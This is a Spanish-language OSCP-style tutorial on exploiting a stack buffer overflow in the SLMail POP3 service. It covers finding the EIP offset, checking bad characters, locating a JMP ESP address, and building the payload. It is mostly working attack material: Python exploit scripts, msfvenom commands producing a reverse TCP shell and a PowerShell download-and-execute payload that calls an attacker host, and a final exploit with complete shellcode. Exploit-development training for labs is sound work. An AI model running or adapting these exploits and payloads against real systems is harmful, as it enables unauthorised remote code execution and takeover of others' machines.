Explotación de Windows (Guía básica - nivel OSCP)
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¿Buscas primitivas de kernel post-OSCP? Las modernas cadenas de corrupción de registry hive para shells SYSTEM deterministas se tratan aquí:
Windows Registry Hive Exploitation
Comenzar a instalar el servicio SLMail
Reiniciar el servicio SLMail
Cada vez que necesites reiniciar el servicio SLMail puedes hacerlo usando la consola de Windows:
net start slmail
.png)
Plantilla de exploit python muy básica
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Cambiar la fuente de Immunity Debugger
Go to Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
Adjuntar el proceso a Immunity Debugger:
Archivo –> Adjuntar
.png)
Y presiona el botón START
Enviar el exploit y comprobar si EIP se ve afectado:
.png)
Cada vez que detengas el servicio debes reiniciarlo como se indica al principio de esta página.
Crear un pattern para modificar el EIP
El pattern debe tener el mismo tamaño que el buffer que usaste para romper el servicio anteriormente.
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Cambia el buffer del exploit, establece el pattern y lanza el exploit.
Debería aparecer un nuevo crash, pero con una dirección EIP diferente:
.png)
Comprueba si la dirección estaba en tu pattern:
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
Parece que podemos modificar el EIP en offset 2606 del buffer.
Compruébalo modificando el buffer del exploit:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Con este buffer, el EIP tras el crash debería apuntar a 42424242 (“BBBB”)
.png)
.png)
Parece que está funcionando.
Comprobar espacio para Shellcode dentro del stack
600B debería ser suficiente para cualquier shellcode potente.
Cambiemos el buffer:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
lanza el nuevo exploit y comprueba el EBP y la longitud del shellcode útil
.png)
.png)
Puedes ver que cuando se alcanza la vulnerability, el EBP está apuntando al shellcode y que tenemos mucho espacio para localizar un shellcode aquí.
En este caso tenemos from 0x0209A128 to 0x0209A2D6 = 430B. Suficiente.
Comprobar bad chars
Cambia de nuevo el buffer:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
Los badchars comienzan en 0x01 porque 0x00 casi siempre es malo.
Ejecuta repetidamente el exploit con este nuevo buffer eliminando los chars que se consideren inútiles:
Por ejemplo:
En este caso puedes ver que no deberías usar el char 0x0A (nada se guarda en memory desde el char 0x09).
.png)
En este caso puedes ver que se evita el char 0x0D:
.png)
Encontrar un JMP ESP como dirección de retorno
Usando:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Vas a listar los mapas de memoria. Busca algún DLL que tenga:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
.png)
Ahora, dentro de esta memoria deberías encontrar algunos bytes JMP ESP, para ello ejecuta:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Entonces, si se encuentra alguna dirección, elige una que no contenga ningún badchar:
.png)
En este caso, por ejemplo: _0x5f4a358f_
Crear shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Si el exploit no está funcionando pero debería (puedes ver con ImDebg que se alcanza el shellcode), intenta crear otros shellcodes (msfvenom para crear shellcodes diferentes con los mismos parámetros).
Añade algunos NOPS al principio del shellcode y utilízalos junto con la dirección de retorno para JMP ESP, y finaliza el exploit:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Warning
Hay shellcodes que se sobrescriben a sí mismos, por lo tanto es importante añadir siempre algunos NOPs antes del shellcode
Mejorando el shellcode
Añade estos parámetros:
EXITFUNC=thread -e x86/shikata_ga_nai
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